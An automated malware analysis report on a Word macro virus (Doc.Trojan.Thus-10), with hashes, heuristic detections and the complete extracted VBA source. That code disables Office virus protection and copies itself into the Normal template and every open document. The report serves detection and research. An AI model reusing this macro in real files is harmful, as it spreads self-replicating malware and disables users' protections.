Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 21356294ced8fd37…

MALICIOUS

Office (OLE)

56.0 KB Created: 2012-12-11 07:58:00 Authoring application: Microsoft Word 11.6.6 First seen: 2015-06-09
MD5: ea8e3713130d9a2c956f4e4eab2d3f75 SHA-1: a3381f025fdc0433d8e93da39c56ee8012c34308 SHA-256: 21356294ced8fd379e76e2373de5b1cca7d0c58e435debc1bf407c5c6c7e3eb4
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1553.004 Mark-of-the-Web Bypass

The sample contains a malicious VBA macro within a Microsoft Word document. The macro is designed to disable macro virus protection and replicate itself to other documents, indicating a self-spreading or evasive behavior. This aligns with the ClamAV detection of 'Doc.Trojan.Thus-10', suggesting a trojanized document.

Heuristics 5

  • ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-10
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        On Error Resume Next
        Application.Options.VirusProtection = False
        If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Virus'" Then
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_Open()
    'Thus_001'
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://avenirupec2012.files.wordpress.com/2012/01/soutien-e1325889078299.jpg?w=240&h=35 In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2294 bytes
SHA-256: 10c1c31db5cded77b7bd41b3c2081f5f005e4c00b10ce83547878c4df8dfeac1
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
'Anti-Virus'
' This virus is an alteration of a virus which was
    Set prevDocument = ActiveDocument
    Set nextDocument = NormalTemplate
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Virus'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Virus'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
        End If
    Next k
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub